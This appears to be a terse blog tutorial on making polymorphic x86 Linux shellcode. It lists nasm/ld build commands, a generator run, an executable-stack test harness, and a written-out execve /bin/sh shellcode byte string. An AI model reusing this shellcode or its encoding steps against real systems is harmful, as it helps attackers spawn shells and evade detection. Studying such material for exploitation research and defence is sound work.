Execve shellcode
# od2sc execve
Decoder shellcode
# cat decoder.asm
# nasm -f elf decoder.asm
# ld -o decoder decoder.o
# od2sc decoder
Polymorphic shellcode generator
# cat pscg
# pscg "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"
Polymorphic shellcode execution
# cat shellcode.c
# gcc -z execstack -o shellcode shellcode.c
# ./shellcode
# exit
References
http://www.overflowedminds.net/Papers/Newlog/Introduccion-Explotacion-Software-Linux.pdf
No comments:
Post a Comment